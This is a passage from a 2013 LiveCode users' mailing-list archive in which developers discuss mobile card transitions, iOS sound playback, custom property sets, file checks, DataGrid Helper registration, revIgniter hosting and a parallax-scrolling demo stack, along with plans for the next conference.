showing/hiding when I added another tabbed group or two. Dar On May 17, 2013, at 1:44 PM, Mike Kerner wrote: > Before I spend all weekend playing with this, has anybody done any > experiments on showing and hiding groups on cards instead of doing > transitions between cards on mobile? I'm specifically wondering about > folks using MobGUI or tmTools, which I would imagine require more resources > than projects that don't use those skinning tools. > > The main thing that I'm wondering about is transition speed. Some of the > card transitions on mobile are...pokey. > > -- > On the first day, God created the heavens and the Earth > On the second day, God created the oceans. > On the third day, God put the animals on hold for a few hours, > and did a little diving. > And God said, "This is good." > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From iowahengst at mac.com Fri May 17 17:29:44 2013 From: iowahengst at mac.com (Randy Hengst) Date: Fri, 17 May 2013 16:29:44 -0500 Subject: Show/Hide Groups vs. Card Transitions on Mobile In-Reply-To: References: Message-ID: Mike, I don't do anything fancy, but I do use a dissolve to change between groups when showing/hiding Options, Info, and Instructions in my apps. Take a look at a free one: 10 Frame Fill for iPod and iPad. I'm Classroom Focused Software. It works fine. I include a set loc during the show, so during development I just drag them out of the way. be well, randy ----- On May 17, 2013, at 2:44 PM, Mike Kerner wrote: > Before I spend all weekend playing with this, has anybody done any > experiments on showing and hiding groups on cards instead of doing > transitions between cards on mobile? I'm specifically wondering about > folks using MobGUI or tmTools, which I would imagine require more resources > than projects that don't use those skinning tools. > > The main thing that I'm wondering about is transition speed. Some of the > card transitions on mobile are...pokey. > > -- > On the first day, God created the heavens and the Earth > On the second day, God created the oceans. > On the third day, God put the animals on hold for a few hours, > and did a little diving. > And God said, "This is good." > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From ambassador at fourthworld.com Fri May 17 17:39:46 2013 From: ambassador at fourthworld.com (Richard Gaskin) Date: Fri, 17 May 2013 14:39:46 -0700 Subject: [OT] Playing silly bu**ers with FileZilla. In-Reply-To: <519684F8.80600@gmail.com> References: <519684F8.80600@gmail.com> Message-ID: <5196A3A2.3000807@fourthworld.com> FWIW, if you're using a distro with Nautilus (comes with Ubuntu and others), the "Connect to Server..." option works very well with SSH by just entering: ssh://@ I've added shortcuts in Nautilis' sidebar for the servers I use often, and now I have ulta-convenient file access with all the security of SSH, smoothly integrated with the desktop. -- Richard Gaskin Fourth World LiveCode training and consulting: http://www.fourthworld.com Webzine for LiveCode developers: http://www.LiveCodeJournal.com Follow me on Twitter: http://twitter.com/FourthWorldSys From mwieder at ahsoftware.net Fri May 17 19:21:02 2013 From: mwieder at ahsoftware.net (mwieder at ahsoftware.net) Date: Fri, 17 May 2013 18:21:02 -0500 Subject: where are you guys In-Reply-To: <51967EB5.4020902@gmail.com> References: <51967EB5.4020902@gmail.com> Message-ID: <9eaf75b0919ed5afcda54411de43fb3d.squirrel@odin.on-rev.com> Andre has been found. All is well. Not to worry. -- Mark Wieder mwieder at ahsoftware.net From gerry.orkin at gmail.com Fri May 17 19:59:37 2013 From: gerry.orkin at gmail.com (Gerry Orkin) Date: Fri, 17 May 2013 16:59:37 -0700 (PDT) Subject: iOS - no sound through speakers In-Reply-To: <18C20D01-D18A-417D-9B06-CD25861C1D7A@icloud.com> References: <18C20D01-D18A-417D-9B06-CD25861C1D7A@icloud.com> Message-ID: <1368835177249.097a10b@Nodemailer> Nope, checked all those settings, still not playing. Other apps play through both headphones and the speakers so I know it's not hardware.? I'll rebuild the (so far simple) stack again from scratch and see if that fixes it.? Gerry On Sat, May 18, 2013 at 12:47 AM, Chris Sheffield wrote: > If sound plays through the headphones it should also play through the external speaker(s). Check to make sure you don't have the volume muted. If you're on an iPad, the side switch can be toggled to either mute sound or lock rotation. Check the Settings app to see which one is set. One quick way to check (iPad only) is to double click the Home button to pull up the multitasking bar, then swipe right to see volume and playback controls. If the side switch is set for lock rotation, then you'll see a mute button on the left. If it's set for Mute, then you'll see a lock rotation button instead. If you're on an iPhone/iPod Touch, honestly I'm not really sure what the problem would be if the volume is not muted. Hardware issue perhaps? > Anyway, I've seen many people confused as to why they're not getting sound from the external speakers, and this is usually why. It's easy to have the sound muted and not even know it, especially because sound will usually play through headphones even if the external speakers are muted. > HTH, > Chris > -- > Chris Sheffield > Read Naturally, Inc. > www.readnaturally.com > On May 16, 2013, at 8:18 PM, Gerry Orkin wrote: >> Hi all >> >> I'm trying to play a sound in an iOS app with: >> >> iphonePlaySoundOnChannel specialFolderPath("engine") & "/house.wav", "house", "now" >> iphoneSetSoundChannelVolume "house", "100" >> >> The sound plays through the device headphone port but not it's speakers. That doesn't seem normal :) Any ideas? >> >> Cheers >> >> Gerry >> _______________________________________________ >> use-livecode mailing list >> use-livecode at lists.runrev.com >> Please visit this url to subscribe, unsubscribe and manage your subscription preferences: >> http://lists.runrev.com/mailman/listinfo/use-livecode > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From jhj at jhj.com Fri May 17 20:18:20 2013 From: jhj at jhj.com (Jerry Jensen) Date: Fri, 17 May 2013 17:18:20 -0700 Subject: where are you guys In-Reply-To: <9eaf75b0919ed5afcda54411de43fb3d.squirrel@odin.on-rev.com> References: <51967EB5.4020902@gmail.com> <9eaf75b0919ed5afcda54411de43fb3d.squirrel@odin.on-rev.com> Message-ID: <60D8A08E-F322-43A6-BF1C-7FB571AEA8B0@jhj.com> I hope he didn't accidentally go to Chicago again... On May 17, 2013, at 4:21 PM, mwieder at ahsoftware.net wrote: > Andre has been found. > All is well. > Not to worry. > > -- > Mark Wieder > mwieder at ahsoftware.net > > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From selander at tkf.att.ne.jp Fri May 17 20:22:08 2013 From: selander at tkf.att.ne.jp (Tim Selander) Date: Sat, 18 May 2013 09:22:08 +0900 Subject: where are you guys In-Reply-To: References: Message-ID: <5196C9B0.6090606@tkf.att.ne.jp> Right where we always are! Having sushi tonight -- you're more than welcome to join us ;-) Tim Selander Tokyo, Japan On 5/18/13 3:56 AM, Andre Garzia wrote: > Hey Guys, > > Its dinner time. I am wondering where you are! Please tell me over email > and possibly over SMS to +552199581066 > > cheers > andre > From rman at free.fr Fri May 17 23:18:42 2013 From: rman at free.fr (Robert Mann) Date: Fri, 17 May 2013 20:18:42 -0700 (PDT) Subject: [FRIVOLITY] the customKeys["direct"] notation... Message-ID: <1368847122642-4665032.post@n4.nabble.com> Hi... from a french guy who could not make it to scotland... having forgotten to renew his Id card! cheers! Working with cProps a lot lately for a kind of server-stack xml dbase that works smoothly both on desktop and on the server and that I was to present at the conference, as a nifty tool to speed up implementation of web sites with revIgniter. I'll do that in an article soon than! Question is : I'm cleaning up code, when i want to get to the "standard" propertySet, I systematically use "set the custompropertySet to empty" before any "put the customKeys into tKeys", adding a line each time. I wondered if there was a way to address directly with "put the customKeys[empty] into tKeys". And it does not seem to work here!! which is a little bit illogical but.. and asymmetrical. If there is a way to address the standard set for sure without re-setting the customPropertySet, let me know! But as I said.. it's not a problem! -- View this message in context: http://runtime-revolution.278305.n4.nabble.com/FRIVOLITY-the-customKeys-direct-notation-tp4665032.html Sent from the Revolution - User mailing list archive at Nabble.com. From shawnlivecode at gmail.com Fri May 17 23:22:19 2013 From: shawnlivecode at gmail.com (Shawn Blc) Date: Fri, 17 May 2013 22:22:19 -0500 Subject: [RevLive] RevLive 13 is wrapped up. Any location planned for RevLive 14? Message-ID: Since RevLive 13 is now wrapped up, except for those few meandering souls liquored up on Scotland's finest. I'm wondering if there's a location picked out for RevLive 14? Personally, I'd like to see a US location, preferably some where in the southern US (New Orleans, Biloxi, , Mobile, Pensacola, Baton Rouge, Lafayette, etc. From shawnlivecode at gmail.com Fri May 17 23:54:14 2013 From: shawnlivecode at gmail.com (Shawn Blc) Date: Fri, 17 May 2013 22:54:14 -0500 Subject: [BEGINER] How can I check the local machine to see if a file exists Message-ID: How can I check the local machine to see if a file exists? From stephenREVOLUTION2 at barncard.com Fri May 17 23:59:59 2013 From: stephenREVOLUTION2 at barncard.com (stephen barncard) Date: Fri, 17 May 2013 20:59:59 -0700 Subject: [RevLive] RevLive 13 is wrapped up. Any location planned for RevLive 14? In-Reply-To: References: Message-ID: A place hopefully in a hub city. Otherwise it's a minimum two-hop flight from everywhere. On Fri, May 17, 2013 at 8:22 PM, Shawn Blc wrote: > Since RevLive 13 is now wrapped up, except for those few meandering souls > liquored up on Scotland's finest. > > I'm wondering if there's a location picked out for RevLive 14? > Personally, I'd like to see a US location, preferably some where in the > southern US (New Orleans, Biloxi, , Mobile, Pensacola, Baton Rouge, > Lafayette, etc. > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > -- Stephen Barncard San Francisco Ca. USA more about sqb From nigels at amglighthouse.co.za Sat May 18 00:06:30 2013 From: nigels at amglighthouse.co.za (Nigel Soden) Date: Sat, 18 May 2013 06:06:30 +0200 Subject: Data Grid - Registering the product Message-ID: <2142DC0F-4B90-48AF-AEAC-A0AD371EBB5E@amglighthouse.co.za> I'm SO ANGRY... I purchased DataGrid helper and found that I cant register it on V5.5.4 (Personnel). When doing some research on the product, no where did it mention that it can't be used on the personnel version. OR have I got it wrong. If this is the case then I will request a full refund. From roger.e.eller at sealedair.com Sat May 18 00:12:14 2013 From: roger.e.eller at sealedair.com (Roger Eller) Date: Sat, 18 May 2013 00:12:14 -0400 Subject: [BEGINER] How can I check the local machine to see if a file exists In-Reply-To: References: Message-ID: You need to know the path, but it's as easy as: if there is a file "c:/test.txt" then answer "file exists" else answer" file doesn't exist" end if ~Roger On May 17, 2013 11:54 PM, "Shawn Blc" wrote: > How can I check the local machine to see if a file exists? > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > From shawnlivecode at gmail.com Sat May 18 00:13:18 2013 From: shawnlivecode at gmail.com (Shawn Blc) Date: Fri, 17 May 2013 23:13:18 -0500 Subject: [RevLive] RevLive 13 is wrapped up. Any location planned for RevLive 14? In-Reply-To: References: Message-ID: True. New Orleans, or Atlanta GA would be fine with me. On Fri, May 17, 2013 at 10:59 PM, stephen barncard < stephenREVOLUTION2 at barncard.com> wrote: > A place hopefully in a hub city. Otherwise it's a minimum two-hop flight > from everywhere. > > > On Fri, May 17, 2013 at 8:22 PM, Shawn Blc > wrote: > > > Since RevLive 13 is now wrapped up, except for those few meandering souls > > liquored up on Scotland's finest. > > > > I'm wondering if there's a location picked out for RevLive 14? > > Personally, I'd like to see a US location, preferably some where in the > > southern US (New Orleans, Biloxi, , Mobile, Pensacola, Baton Rouge, > > Lafayette, etc. > > _______________________________________________ > > use-livecode mailing list > > use-livecode at lists.runrev.com > > Please visit this url to subscribe, unsubscribe and manage your > > subscription preferences: > > http://lists.runrev.com/mailman/listinfo/use-livecode > > > > > > -- > > > > Stephen Barncard > San Francisco Ca. USA > > more about sqb > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > From shawnlivecode at gmail.com Sat May 18 01:00:14 2013 From: shawnlivecode at gmail.com (Shawn Blc) Date: Sat, 18 May 2013 00:00:14 -0500 Subject: [BEGINER] How can I check the local machine to see if a file exists In-Reply-To: References: Message-ID: Thank you Mr. Eller. How about delete file from remote server? I have this, but not working. Can't find anything on nabble. *delete* URL ("http://someSubDomain.on-rev.com/test.txt") On Fri, May 17, 2013 at 11:12 PM, Roger Eller wrote: > You need to know the path, but it's as easy as: > > if there is a file "c:/test.txt" then > answer "file exists" > else > answer" file doesn't exist" > end if > > ~Roger > On May 17, 2013 11:54 PM, "Shawn Blc" wrote: > > > How can I check the local machine to see if a file exists? > > _______________________________________________ > > use-livecode mailing list > > use-livecode at lists.runrev.com > > Please visit this url to subscribe, unsubscribe and manage your > > subscription preferences: > > http://lists.runrev.com/mailman/listinfo/use-livecode > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > From dixonja at hotmail.co.uk Sat May 18 01:04:45 2013 From: dixonja at hotmail.co.uk (John Dixon) Date: Sat, 18 May 2013 06:04:45 +0100 Subject: [RevLive] RevLive 13 is wrapped up. Any location planned for RevLive 14? In-Reply-To: References: , , Message-ID: Keep it in Europe...:-) I couldn't make it to Scotland, even from the South of England, this year as I had to be around whilst two daughters are going through their GCSE exams at school... Somewhere in England would be good...:-) > Date: Fri, 17 May 2013 23:13:18 -0500 > Subject: Re: [RevLive] RevLive 13 is wrapped up. Any location planned for RevLive 14? > From: shawnlivecode at gmail.com > To: use-livecode at lists.runrev.com > > True. New Orleans, or Atlanta GA would be fine with me. > > > On Fri, May 17, 2013 at 10:59 PM, stephen barncard < > stephenREVOLUTION2 at barncard.com> wrote: > > > A place hopefully in a hub city. Otherwise it's a minimum two-hop flight > > from everywhere. > > > > > > On Fri, May 17, 2013 at 8:22 PM, Shawn Blc > > wrote: > > > > > Since RevLive 13 is now wrapped up, except for those few meandering souls > > > liquored up on Scotland's finest. > > > > > > I'm wondering if there's a location picked out for RevLive 14? > > > Personally, I'd like to see a US location, preferably some where in the > > > southern US (New Orleans, Biloxi, , Mobile, Pensacola, Baton Rouge, > > > Lafayette, etc. > > > _______________________________________________ > > > use-livecode mailing list > > > use-livecode at lists.runrev.com > > > Please visit this url to subscribe, unsubscribe and manage your > > > subscription preferences: > > > http://lists.runrev.com/mailman/listinfo/use-livecode > > > > > > > > > > > -- > > > > > > > > Stephen Barncard > > San Francisco Ca. USA > > > > more about sqb > > _______________________________________________ > > use-livecode mailing list > > use-livecode at lists.runrev.com > > Please visit this url to subscribe, unsubscribe and manage your > > subscription preferences: > > http://lists.runrev.com/mailman/listinfo/use-livecode > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From monte at sweattechnologies.com Sat May 18 02:09:25 2013 From: monte at sweattechnologies.com (Monte Goulding) Date: Sat, 18 May 2013 16:09:25 +1000 Subject: [RevLive] RevLive 13 is wrapped up. Any location planned for RevLive 14? In-Reply-To: References: , , Message-ID: <33DB6337-0211-488D-B096-B878B6CD9882@sweattechnologies.com> I'm sure there will be a survey at some point but there was a bit of discussion over here all of which JoJo didn't want to hear just yet... Personally I think that if it's going to be anywhere in Europe it may as well be in Edinburgh. It's cheap to fly around Europe for the locals anyway and you would lose the advantages of putting together a conference on your home turf. It's nice that the RunRev office smells like stale beer now too... I'd go for US somewhere given the user base is concentrated there. Someone suggested Austin. I'd be happy with somewhere close to LA because my sister-in-law lives there. Wherever it is I'll seriously consider going because it has been fantastic to meet all these awesome people. Interestingly people mentioned Sydney and they weren't me.... I'd go for Melbourne or Brisbane for an Aus city personally but as I don't think that will happen. Somewhere in asia would be interesting too... On 18/05/2013, at 3:04 PM, John Dixon wrote: > Keep it in Europe...:-) > I couldn't make it to Scotland, even from the South of England, this year as I had to be around whilst two daughters are going through their GCSE exams at school... > > Somewhere in England would be good...:-) -- Monte Goulding M E R Goulding - software development services mergExt - There's an external for that! From richmondmathewson at gmail.com Sat May 18 02:17:36 2013 From: richmondmathewson at gmail.com (Richmond) Date: Sat, 18 May 2013 09:17:36 +0300 Subject: [OT] Playing silly bu**ers with FileZilla. In-Reply-To: <5196A3A2.3000807@fourthworld.com> References: <519684F8.80600@gmail.com> <5196A3A2.3000807@fourthworld.com> Message-ID: <51971D00.60307@gmail.com> On 05/18/2013 12:39 AM, Richard Gaskin wrote: > FWIW, if you're using a distro with Nautilus (comes with Ubuntu and > others), the "Connect to Server..." option works very well with SSH by > just entering: > > ssh://@ > > I've added shortcuts in Nautilis' sidebar for the servers I use often, > and now I have ulta-convenient file access with all the security of > SSH, smoothly integrated with the desktop. > > -- > Richard Gaskin Thank you very much for that idea. As I use XFCE 4.10 I have used Thunar (the File Browser for XFCE) to do something similar, and set up a shortcut in my 'Place' menu. Richmond. From richmondmathewson at gmail.com Sat May 18 03:45:42 2013 From: richmondmathewson at gmail.com (Richmond) Date: Sat, 18 May 2013 10:45:42 +0300 Subject: [OT] Docks on Linux. Message-ID: <519731A6.1000704@gmail.com> I have long liked Avant Window Navigator: http://code.google.com/p/avant-window-navigator/ but it has been deprecated as its developer stopped work on it about 3 years ago. I have installed it on Ubuntu 'Rancid Raccoon' 13.04 and it is OK up to a point, but starts playing silly bu**ers when one tries to install links to apps stored in non-standard places (such as Livecode in one's 'Home' directory). Tried 'Cairo Dock' - fioch. Tried 'Docky' - fioch. Any suggestions welcomed, short of using a second Taskbar at the bottom of my XFCE desktop. Richmond. From nigels at amglighthouse.co.za Sat May 18 05:06:20 2013 From: nigels at amglighthouse.co.za (Nigel Soden) Date: Sat, 18 May 2013 11:06:20 +0200 Subject: DataGrid Help - Registering the product Message-ID: <9252C7FB-050E-4F3D-9F00-981A79963AFA@amglighthouse.co.za> I'm SO ANGRY... I purchased DataGrid helper and found that I cant register it on V5.5.4 (Personnel). When doing some research on the product, no where did it mention that it can't be used on the personnel version. OR have I got it wrong! From keith.clarke at clarkeandclarke.co.uk Sat May 18 05:07:24 2013 From: keith.clarke at clarkeandclarke.co.uk (Keith Clarke) Date: Sat, 18 May 2013 10:07:24 +0100 Subject: RevIgniter & current on-rev LiveCode server version Message-ID: <2D422120-4E69-4C54-BFC5-BD33AF53D35D@clarkeandclarke.co.uk> Hi folks, Can any revIgniter expert please advise whether the current version of LiveCode Server installed on pancake.on-rev.com is compatible with revIgniter? I've installed but getting 404 errors on the index.lc page under revIgniter and the user guide's troubleshooting section mentions a bug in some LiveCode Server versions. I don't see any LiveCode server info in CPanel and can't find any documentation on how to check the server version from a .lc file. Is there a statement similar to that used to check PHP parameters - like 'put server version' ? Best, Keith.. From dixonja at hotmail.co.uk Sat May 18 05:17:16 2013 From: dixonja at hotmail.co.uk (John Dixon) Date: Sat, 18 May 2013 10:17:16 +0100 Subject: DataGrid Help - Registering the product In-Reply-To: <9252C7FB-050E-4F3D-9F00-981A79963AFA@amglighthouse.co.za> References: <9252C7FB-050E-4F3D-9F00-981A79963AFA@amglighthouse.co.za> Message-ID: I think that it would be best if you contact the author...'zyrip the slug'... If you don't have an email for him then support at runrev should be able to supply you with it... > From: nigels at amglighthouse.co.za > Subject: RE:DataGrid Help - Registering the product > Date: Sat, 18 May 2013 11:06:20 +0200 > To: use-livecode at lists.runrev.com > > I'm SO ANGRY... I purchased DataGrid helper and found that I cant register it on V5.5.4 (Personnel). When doing some research on the product, no where did it mention that it can't be used on the personnel version. OR have I got it wrong! > > > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From zryip.theslug at gmail.com Sat May 18 05:43:27 2013 From: zryip.theslug at gmail.com (zryip theSlug) Date: Sat, 18 May 2013 11:43:27 +0200 Subject: DataGrid Help - Registering the product In-Reply-To: <9252C7FB-050E-4F3D-9F00-981A79963AFA@amglighthouse.co.za> References: <9252C7FB-050E-4F3D-9F00-981A79963AFA@amglighthouse.co.za> Message-ID: Dear Nigel, I'm going to contact you off-list and we will explore this together. On Sat, May 18, 2013 at 11:06 AM, Nigel Soden wrote: > I'm SO ANGRY... I purchased DataGrid helper and found that I cant register > it on V5.5.4 (Personnel). When doing some research on the product, no where > did it mention that it can't be used on the personnel version. OR have I > got it wrong! > > > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > Best Regards, -- -Zryip TheSlug- wish you the best! 8) http://www.aslugontheroad.com From mwieder at ahsoftware.net Sat May 18 05:57:04 2013 From: mwieder at ahsoftware.net (mwieder at ahsoftware.net) Date: Sat, 18 May 2013 04:57:04 -0500 Subject: [FRIVOLITY] the customKeys["direct"] notation... In-Reply-To: <1368847122642-4665032.post@n4.nabble.com> References: <1368847122642-4665032.post@n4.nabble.com> Message-ID: Robert- > I wondered if there was a way to address directly with > "put the customKeys[empty] into tKeys". > And it does not seem to work here!! > which is a little bit illogical but.. and asymmetrical. try put the customKeys[""] of into tKeys that seems to get the default "customKeys" set ...see you next conference... -- Mark Wieder mwieder at ahsoftware.net From nigels at amglighthouse.co.za Sat May 18 05:59:17 2013 From: nigels at amglighthouse.co.za (Nigel Soden) Date: Sat, 18 May 2013 11:59:17 +0200 Subject: DataGrid Helper - Registering the product Message-ID: Greetings I have made a completer and utter idiot of myself. I eventually went to http://lessons.runrev.com/s/lessons/m/4068/l/39271-how-do-i-register-my-copy-of-dgh. a detailed explanation of how to register the product is explained there. I'm somewhat uptight as I need to get this product finished by the end-of this month for my son. I had only read the information that was supplied with the download and went to the wrong place to register the product and could not find a 'Register Option. My sincere apologies.. god, I fell like a real nana... From coiin at verizon.net Sat May 18 06:04:32 2013 From: coiin at verizon.net (Colin Holgate) Date: Sat, 18 May 2013 11:04:32 +0100 Subject: scrolling stack I made Message-ID: <6A58AF63-AA57-41CA-B65F-1F1775D54CA6@verizon.net> While at the conference I found time to figure out a couple of things. I used arrays for the first time (in LiveCode that is), and I found hardware acceleration settings that worked well. The test I did was to have a scene doing parallax scrolling. The initial scene is made up of five slices, each 1024 wide, and significantly tall too. Those need to be on the card twice each, so that you can scroll the second copy into view as you move. That went well enough, so I added 101 LC logos to the scene, and it still moved well. I made changes now so that you can try the effect on desktop, not just on mobile. If you do build this to mobile it uses the accelerometer, otherwise it uses the mouse position to control the scrolling speed. Here's a zip file of the stack: http://xfiles.funnygarbage.com/~colinholgate/rev/scrolling.zip The stack script is this: on preopenstack if the environment is mobile then iphoneSetRedrawInterval 1 set the compositorType of this stack to "OpenGL" set the compositorTileSize of this stack to 64 set the compositorCacheLimit of this stack to 1024*1024*128 end if end preopenstack You are able to just turn on the acceleratedRendering of stack, but I wanted to have higher cache limits than the defaults. The only other script is in the card, and some of the script only ever had to run once, to generate 100 of the LC logos. Here's the card script: global places,worldx,difx on opencard resetobjects put 0 into difx if the environment is mobile then mobileEnableAccelerometer 100 moveworld end opencard on accelerationChanged pXAccel, pYAccel, pZAccel put min(100,max(-100,pYAccel*10)) into difx end accelerationChanged on moveworld if the environment is not mobile then put (512-the mouseh)/100 into difx end if movethings difx send moveworld to me in 16 milliseconds end moveworld on resetobjects lock screen put 0 into oldvalue put 0 into worldx put "" into places split places by return addimage "lc1",the left of img "lc1",8 repeat with a = 1 to 100 put "lc_"&a into imagename if there is not an image imagename then clone image "lc1" set the name of image the number of images to imagename end if set the width of image imagename to min(256,1024/min(101-a,100)) set the height of image imagename to min(256,1024/min(101-a,100)) set the top of image imagename to random(500) set the left of image imagename to random(2048) addimage imagename,the left of image imagename,min(10+(101-a) / 3,100) end repeat addimage "sky1",0,60 addimage "sky2",1024,60 addimage "hills1",0,40 addimage "hills2",1024,40 addimage "tracks1",0,20 addimage "tracks2",1024,20 addimage "farhedges1",0,10 addimage "farhedges2",1024,10 addimage "nearhedges1",0,5 addimage "nearhedges2",1024,5 movethings worldx repeat with a = 1 to the number of images set the layerMode of img a to dynamic end repeat unlock screen end resetobjects on addimage imagename, imageplace, imagespeed put imagename into places[imagename]["imagename"] put imageplace into places[imagename]["imageplace"] put imagespeed into places[imagename]["imagespeed"] end addimage on movethings howmuch lock screen repeat for each element a in places put a["imagename"] into imagename put a["imageplace"] +howmuch*100/a["imagespeed"] into newloc if newloc >= 1024 then subtract 2048 from newloc else if newloc < -1024 then add 2048 to newloc end if end if put newloc into places[imagename]["imageplace"] set the left of image imagename to trunc(newloc) end repeat unlock screen end movethings That worldx value ended up not being needed. One thing about arrays I learned was that when you get an element of an array it's copy of that element, not a reference to it. My plan was to set the property in the element reference, and to expect that to immediately change the original value in the array. Turns out that it doesn't work that way, hence the line: put newloc into places[imagename]["imageplace"] From mwieder at ahsoftware.net Sat May 18 06:10:40 2013 From: mwieder at ahsoftware.net (mwieder at ahsoftware.net) Date: Sat, 18 May 2013 05:10:40 -0500 Subject: DataGrid Helper - Registering the product In-Reply-To: References: Message-ID: <1610ddebc8ca0030fe0c97bc3a46d61d.squirrel@odin.on-rev.com> Glad you got it sorted. You're gonna like the DGH... er... I mean, if you don't already... -- Mark Wieder mwieder at ahsoftware.net From rman at free.fr Sat May 18 08:21:48 2013 From: rman at free.fr (Robert Mann) Date: Sat, 18 May 2013 05:21:48 -0700 (PDT) Subject: RevIgniter & current on-rev LiveCode server version In-Reply-To: <2D422120-4E69-4C54-BFC5-BD33AF53D35D@clarkeandclarke.co.uk> References: <2D422120-4E69-4C54-BFC5-BD33AF53D35D@clarkeandclarke.co.uk> Message-ID: <1368879708129-4665052.post@n4.nabble.com> Hi I confirm I do have the latest revIgniter package installed on the current on-rev, no problem. Hope you find the glitch. -- View this message in context: http://runtime-revolution.278305.n4.nabble.com/RevIgniter-current-on-rev-LiveCode-server-version-tp4665045p4665052.html Sent from the Revolution - User mailing list archive at Nabble.com. From keith.clarke at clarkeandclarke.co.uk Sat May 18 08:31:49 2013 From: keith.clarke at clarkeandclarke.co.uk (Keith Clarke) Date: Sat, 18 May 2013 13:31:49 +0100 Subject: RevIgniter & current on-rev LiveCode server version In-Reply-To: <1368879708129-4665052.post@n4.nabble.com> References: <2D422120-4E69-4C54-BFC5-BD33AF53D35D@clarkeandclarke.co.uk> <1368879708129-4665052.post@n4.nabble.com> Message-ID: <02FCD9AC-D161-4145-93E8-8F020DD8E02C@clarkeandclarke.co.uk> Hi Robert. Thanks for the confirmation that the on-rev LiveCode server version is revIgniter-compatible. So, now I know it's something I've (not) done - but continued trouble-shooting is worthwhile, as it will work! :-) Best, Keith.. On 18 May 2013, at 13:21, Robert Mann wrote: > Hi I confirm I do have the latest revIgniter package installed on the current > on-rev, no problem. Hope you find the glitch. > > > > -- > View this message in context: http://runtime-revolution.278305.n4.nabble.com/RevIgniter-current-on-rev-LiveCode-server-version-tp4665045p4665052.html > Sent from the Revolution - User mailing list archive at Nabble.com. > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From shawnlivecode at gmail.com Sat May 18 08:32:39 2013 From: shawnlivecode at gmail.com (Shawn Blc) Date: Sat, 18 May 2013 07:32:39 -0500 Subject: [BEGINER] How can I check the local machine to see if a file exists In-Reply-To: References: Message-ID: Got delete working too. Now I need to spice it up a bit. On Sat, May 18, 2013 at 12:00 AM, Shawn Blc wrote: > Thank you Mr. Eller. How about delete file from remote server? > > I have this, but not working. Can't find anything on nabble. > > *delete* URL ("http://someSubDomain.on-rev.com/test.txt") > > > On Fri, May 17, 2013 at 11:12 PM, Roger Eller > wrote: > >> You need to know the path, but it's as easy as: >> >> if there is a file "c:/test.txt" then >> answer "file exists" >> else >> answer" file doesn't exist" >> end if >> >> ~Roger >> On May 17, 2013 11:54 PM, "Shawn Blc" wrote: >> >> > How can I check the local machine to see if a file exists? >> > _______________________________________________ >> > use-livecode mailing list >> > use-livecode at lists.runrev.com >> > Please visit this url to subscribe, unsubscribe and manage your >> > subscription preferences: >> > http://lists.runrev.com/mailman/listinfo/use-livecode >> > >> _______________________________________________ >> use-livecode mailing list >> use-livecode at lists.runrev.com >> Please visit this url to subscribe, unsubscribe and manage your >> subscription preferences: >> http://lists.runrev.com/mailman/listinfo/use-livecode >> > > From rman at free.fr Sat May 18 08:40:54 2013 From: rman at free.fr (Robert Mann) Date: Sat, 18 May 2013 05:40:54 -0700 (PDT) Subject: [FRIVOLITY] the customKeys["direct"] notation... In-Reply-To: References: <1368847122642-4665032.post@n4.nabble.com> Message-ID: <1368880854388-4665055.post@n4.nabble.com> Indeedd thanks.. I must have been working to late.. I forgot some references to the card in my tests, and they are absolutely necessary! The following brute test confirms the [""] works fine : set the custompropertySet of this card to "testSet" set the titi[""] of this card to "hello" set the custompropertySet of this card to empty set the titi["testSet"] of this card to "saluto" set the custompropertySet of this card to empty get the titi["testSet"] of this card put it & cr into msg set the custompropertySet of this card to "testSet" get the titi[""] of this card put it & cr after msg => outputs saluto hello as expected! -- View this message in context: http://runtime-revolution.278305.n4.nabble.com/FRIVOLITY-the-customKeys-direct-notation-tp4665032p4665055.html Sent from the Revolution - User mailing list archive at Nabble.com. From richmondmathewson at gmail.com Sat May 18 08:41:57 2013 From: richmondmathewson at gmail.com (Richmond) Date: Sat, 18 May 2013 15:41:57 +0300 Subject: [EDU] Endless Gap-Fill Exercises Message-ID: <51977715.9060107@gmail.com> Endless Gap-Fill Exercises and Multiple Choice Exercises numb brains and dull creativity. --------------------------------------------------------------------------------------------------- I have just had a "spat" with somebody about this very topic and feel that I would like to share with any educational developers on the Use-List one particular CD-ROM my children enjoyed and benefitted from immensely when we were living in Saudi Arabia [not to be recommended]: http://www.synapseadaptive.com/edmark/prod/house/sammy/features.html This has had a strong emphasis on the way I think about software development for language teaching, especially for pre-teens (my main target group). This CD is still apparently available, for $70, although all the links churn and churn and never load. I have an original CD I bought in Jeddah which I currently run on a Mac running Mac OS 8.5. Richmond. From mark.rauterkus at gmail.com Sat May 18 08:51:52 